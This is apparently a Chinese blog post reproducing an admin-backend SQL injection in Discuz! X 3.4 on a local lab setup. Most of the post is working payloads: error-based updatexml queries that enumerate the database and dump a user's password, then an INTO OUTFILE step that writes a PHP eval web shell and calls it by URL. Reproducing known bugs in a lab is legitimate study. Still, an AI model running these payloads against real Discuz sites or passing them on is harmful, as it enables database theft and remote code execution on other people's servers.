Discuz!X系列全版本后台sql注入复现

圈子某位大佬公布的0day,拿来刷一刷,漏洞分析请移步大佬文章。
大佬链接

0x01 环境准备

1、首先去码云下载最新版本的discuz(DiscuzX 3.4 R20191201)。

 

2、将upaod放置到网站目录下,访问安装目录安装即可。

0x02 漏洞复现

点击站长--UCenter设置

点击最下面的提交进行抓包

判断列数

1'  order by 1   //返回正确
1'  order by 2   //返回错误

查询当前用户

1' and updatexml(1,concat(0x7e,(SELECT user())),1)-- a

 

查询版本

1' and updatexml(1,concat(0x7e,(SELECT version())),1)-- a

 

查询数据库

1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1)-- a    //mysql
1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 1,1)),1)-- a    //information_schema
1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 2,1)),1)-- a    //performance_schema
1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 3,1)),1)-- a    //sys
1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 4,1)),1)-- a    //test
1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 5,1)),1)-- a    //ultrax
1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 6,1)),1)-- a    //空


可以发现,共有6个库

查询数据表

这里随便找了一个库测试的,test库只有一个表。

1' and updatexml(1,concat(0x7e,(select TABLE_NAME from information_schema.tables where TABLE_SCHEMA='test' limit 0,1)),1)-- a   //users
1' and updatexml(1,concat(0x7e,(select TABLE_NAME from information_schema.tables where TABLE_SCHEMA='test' limit 1,1)),1)-- a   //空

 

 

1' and updatexml(1,concat(0x7e,(select group_concat(TABLE_NAME) from information_schema.tables where TABLE_SCHEMA='mysql')),1)-- a

查询字段

1' and updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='users')),1)-- a


这个没显示全

1' and updatexml(1,concat(0x7e,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 2,1)),1)-- a     //user

 

 

1' and updatexml(1,concat(0x7e,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 5,1)),1)-- a  //password

爆字段值

1' and updatexml(1,concat(0x7e,(select password from test.users limit 1,1)),1)-- a

成功搞到密码test123

写入文件

Payload:

1' into outfile 'c:\\wamp64\\tmp\\1.txt'  -- a

 

emmmm....
The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

查看一下secure-file-priv配置

show variables like '%secure%';

15.png

secure_file_priv的值为null,那么secure_file_priv这里都有什么设置呢

  1. secure_file_priv为null 表示不允许导入导出
  2. secure_file_priv指定文件夹时,表示mysql的导入导出只能发生在指定的文件夹
  3. secure_file_priv没有设置时,则表示没有任何限制

修改mysql.ini文件,加入如下语句

secure_file_priv=''

16.png
重启mysql服务

1' union select '<?php eval($_GET[1])?>' into outfile 'C:\\phpstudy_pro\\WWW\\discuz\\1.php'  -- a

 

http://192.168.91.149/discuz/1.php?1=phpinfo();

 

0x03 结束

吐槽一下,手注真麻烦,还是sqlmap好玩。

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值